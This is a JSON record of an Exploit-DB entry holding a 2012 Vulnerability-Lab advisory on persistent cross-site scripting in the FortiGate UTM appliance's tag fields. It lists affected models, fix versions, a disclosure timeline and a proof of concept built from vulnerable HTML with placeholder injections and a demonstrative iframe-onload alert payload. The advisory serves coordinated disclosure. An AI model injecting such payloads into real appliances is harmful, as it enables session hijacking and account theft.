{"id": "EDB-ID:21395", "hash": "c2ce66ee3436ddebb1dc48e2fed818a4", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Fortigate UTM WAF Appliance Multiple Vulnerabilities", "description": "Fortigate UTM WAF Appliance Multiple Vulnerabilities. Webapps exploit for hardware platform", "published": "2012-09-19T00:00:00", "modified": "2012-09-19T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/21395/", "reporter": "Vulnerability-Lab", "references": [], "cvelist": [], "lastseen": "2016-02-02T16:22:37", "history": [], "viewCount": 5, "enchantments": {"score": {"value": 7.2, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2016-02-02T16:22:37"}, "vulnersScore": 7.2}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/21395/", "sourceData": "Title:\r\n======\r\nFortigate UTM WAF Appliance - Multiple Web Vulnerabilities\r\n\r\n\r\nDate:\r\n=====\r\n2012-09-06\r\n\r\n\r\nReferences:\r\n===========\r\nhttp://www.vulnerability-lab.com/get_content.php?id=557\r\n\r\n\r\nVL-ID:\r\n=====\r\n557\r\n\r\n\r\nCommon Vulnerability Scoring System:\r\n====================================\r\n5\r\n\r\n\r\nIntroduction:\r\n=============\r\nThe FortiGate series of multi-threat security systems detect and eliminate the most damaging, content-based threats from email \r\nand Web traffic such as viruses, worms, intrusions, inappropriate Web content and more in real time - without degrading \r\nnetwork performance.\r\n\r\nRanging from the FortiGate-30 series for small offices to the FortiGate-5000 series for large enterprises, service providers and \r\ncarriers, the FortiGate line combines the FortiOS\u2122 security operating system with FortiASIC processors and other hardware to provide \r\na comprehensive and high-performance array of security and networking functions including:\r\n\r\n * Firewall, VPN, and Traffic Shaping\r\n * Intrusion Prevention System (IPS)\r\n * Antivirus/Antispyware/Antimalware\r\n * Web Filtering\r\n * Antispam\r\n * Application Control (e.g., IM and P2P)\r\n * VoIP Support (H.323. and SCCP)\r\n * Layer 2/3 routing\r\n * Multiple WAN interface options\r\n\r\nFortiGate appliances provide cost-effective, comprehensive protection against network, content, and application-level threats - including \r\ncomplex attacks favored by cybercriminals - without degrading network availability and uptime. FortiGate platforms incorporate sophisticated \r\nnetworking features, such as high availability (active/active, active/passive) for maximum network uptime, and virtual domain (VDOM) \r\ncapabilities to separate various networks requiring different security policies.\r\n\r\nSince 2009 Fortigate appliance series got certified by the U.S. Army and is now listed in the \r\nInformation Assurance Approved Products List (IA APL). The military provides high security \r\nstandards to secure outdoor camps, air base, offices with fortigate hardware.\r\n\r\n(Copy from the Vendor Homepage: http://www.fortinet.com/products/fortigate )\r\n\r\n\r\nAbstract:\r\n=========\r\nVulnerability-Lab Research Team discovered multiple persistent Web Vulnerabilities in the FortiGate UTM Appliance Application.\r\n\r\n\r\nReport-Timeline:\r\n================\r\n2012-05-06:\tResearcher Notification & Coordination\r\n2012-05-10:\tVendor Notification\r\n2012-06-11:\tVendor Response/Feedback\r\n2012-08-25:\tVendor Fix/Patch ( Fixed in FortiOS v4.3.8 B0537 & Fixed in FortiOS v5.0 )\r\n2012-09-06:\tPublic or Non-Public Disclosure\r\n\r\n\r\nStatus:\r\n========\r\nPublished\r\n\r\n\r\nAffected Products:\r\n==================\r\nFortigate\r\nProduct: UTM Appliance Application vFortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;\r\n\r\n\r\nExploitation-Technique:\r\n=======================\r\nRemote\r\n\r\n\r\nSeverity:\r\n=========\r\nHigh\r\n\r\n\r\nDetails:\r\n========\r\nMultiple input validation vulnerabilities(persistent) are detected in the FortiGate UTM Appliance Application. Remote attackers \r\n& low privileged user accounts can inject (persistent) own malicious script code to manipulate specific customer/admin requests. \r\nThe vulnerability allows an local low privileged attacker to manipulate the appliance(application) via persistent script code \r\ninject. The vulnerability is locaed in the Add or Tags module category listing with the bound vulnerable applied tags & tags display parameters.\r\nSuccessful exploitation results in content module request manipulation, execution of persistent malicious script code, session \r\nhijacking, account steal & persistent phishing.\r\n\r\nVulnerable Module(s): (Persistent)\r\n\t\t\t\t\t\t[+] Tags - Applied tags \t\r\n\t\t\t\t\t\t[+] Add - Tags Display\r\n\r\n\r\nInterface - UTM WAF Web Application [Appliance]\r\nFortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;FortiGate-3600A;FortiGate-3016B;FortiGate-1240B\r\nFortiGate-800;FortiGate-620B;FortiGate-311B;FortiGate-310B;FortiGate-300A;FortiGate-224B;FortiGate-200B Series\r\n\r\n\r\nProof of Concept:\r\n=================\r\nThe persistent vulnerabilities can be exploited by remote attackers with low required user inter action or low \r\nprivileged user account. For demonstration or reproduce ...\r\n\r\n\r\nCode Review: \tTags - Applied tags [Box] > Listing\r\nURL: \t\thttp://appliance.127.0.0.1:1337/firewall/policy/policy6?expanded=#\r\n\r\nname=``addr_dlg`` action=``/firewall/address/add`` onsubmit=``if (!fwad_form_check('Please choose one address/group.',\r\n'Please choose one interface to connect.')) return false; if (document.forms[0].submitFlag) return false; document.forms[0].\r\nsubmitFlag = true;``>\r\n<table><tbody><tr>\r\n<td align=``left`` width=``150``><nobr>Address Name</nobr></td>\r\n<td align=``left``><input \r\nname=``name`` size=``64`` maxlength=``63`` value=``all`` type=``text``>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>Color</td>\r\n<td><span colorclassprefix=``addr_ipv6_\r\n`` class=``icon_fw addr_ipv6_13`` id=``addressIcon``></span> <a href=``#`` id=``addressColor`` cscolorvalue=``0``>[Change]<input value=``13`` \r\nname=``csColor1`` type=``hidden``></a></td></tr>\r\n<tr id=``row_ipv6``>\r\n<td align=``left`` width=``150``><nobr>IPv6 Address</nobr></td>\r\n<td \r\nalign=``left``><input name=``ip6`` size=``50`` maxlength=``43`` value=``::/0`` onfocus=``this.select()``></td>\r\n</tr>\r\n<tr class=``object_tag_row``>\r\n<td colspan=``2``>Tags</td></tr>\r\n<tr class=``object_tag_row``>\r\n<td class=``dep_opt``>\u200b\u200b\u200b\u200b\u200b<label for=``appliedTags``>Applied tags</label></td>\r\n\r\n<td><span class=``tag_list`` id=``appliedTags``><span class=``object_tag object_tag_remove``\r\n mkey=````><[PERSISTENT INJECTED SCRIPT CODE!]'<``=````><span class=``tag_label``>\r\n``><[PERSISTENT INJECTED SCRIPT CODE!] <</span><span class=``tag_tail``></span><\r\n/span></iframe></span></span></td>\r\n</tr>\r\n<tr class=``object_tag_row``>\r\n<td class=``dep_opt``><label for=``addTag``>Add tags</label>\r\n</td>\r\n<td><input class=``ac_input`` autocomplete=``off`` name=``addTag`` id=``addTag`` type=``text``><img src=``/images/act_add.gif`` \r\nclass=``tagSelector-addTag``></td>\r\n</tr>\r\n</tbody></table><input name=``mkey`` id=``mkey`` value=``all`` type=``hidden``>\r\n<input name=``tagList`` \r\nid=``tagList`` value=``\"><[PERSISTENT INJECTED SCRIPT CODE!]<`` type=``hidden``>\r\n<input name=``is_ipv6`` id=``is_ipv6`` value=``1`` \r\ntype=``hidden``>\r\n<input name=``redir`` value=``/success`` type=``hidden``>\r\n<div class=``footer``><input class=``button`` value=``Return`` \r\nonclick=``if (window.opener) {window.close(); } else if (parent && parent.wij_in_modal_op && parent.wij_in_modal_op()) \r\n{ parent.wij_end_modal_dialog(); } else {document.location='/success'}`` type=``button``>\r\n</div>\u200b\u200b\u200b\u200b\u200b</form>\r\n\r\n... or\r\n\r\n<td><span class=\"tag_list\" id=\"appliedTags\"><span class=\"object_tag object_tag_remove\" \r\nmkey=\"\"><[PERSISTENT INJECTED SCRIPT CODE!]' <\"=\"\"><span class=\"tag_label\">\"><iframe src=a \r\nonload=alert(\"VL\") <</span><span class=\"tag_tail\"></span></span></iframe></span>\r\n<span class=\"object_tag object_tag_remove\" mkey=\"corp\"><span class=\"tag_label\">corp</span>\r\n<span class=\"tag_tail\"></span></span></span></td>\r\n\r\n\r\nSolution:\r\n=========\r\nTo fix the persistent vulnerabilities by parsing the object tag add input fields & output listings in all sections. \r\nRestrict the input field and disallow script code tags or evil statement inserts.\r\n\r\n * Fixed in FortiOS v4.3.8 B0537\r\n * Fixed in FortiOS v5.0 \r\n\r\n\r\nRisk:\r\n=====\r\nThe security risk of the persistent input validation vulnerabilities are estimated as high (-).\r\n\r\n\r\nCredits:\r\n========\r\nVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)\r\n\r\n\r\nDisclaimer:\r\n===========\r\nThe information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, \r\neither expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-\r\nLab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business \r\nprofits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some \r\nstates do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation \r\nmay not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases \r\nor trade with fraud/stolen material.\r\n\r\nDomains: www.vulnerability-lab.com \t- www.vuln-lab.com\t\t\t - www.vulnerability-lab.com/register\r\nContact: admin@vulnerability-lab.com \t- support@vulnerability-lab.com \t - research@vulnerability-lab.com\r\nSection: video.vulnerability-lab.com \t- forum.vulnerability-lab.com \t\t - news.vulnerability-lab.com\r\nSocial:\t twitter.com/#!/vuln_lab \t\t- facebook.com/VulnerabilityLab \t - youtube.com/user/vulnerability0lab\r\nFeeds:\t vulnerability-lab.com/rss/rss.php\t- vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php\r\n\r\nAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. \r\nPermission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other \r\nmedia, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and \r\nother information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), \r\nmodify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.\r\n\r\n \t\t\t\t \tCopyright \u00a9 2012 | Vulnerability Laboratory\r\n\r\n\r\n\r\n-- \r\nVULNERABILITY RESEARCH LABORATORY\r\nLABORATORY RESEARCH TEAM\r\nCONTACT: research@vulnerability-lab.com\r\n\r\n\r\n", "osvdbidlist": ["86082"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}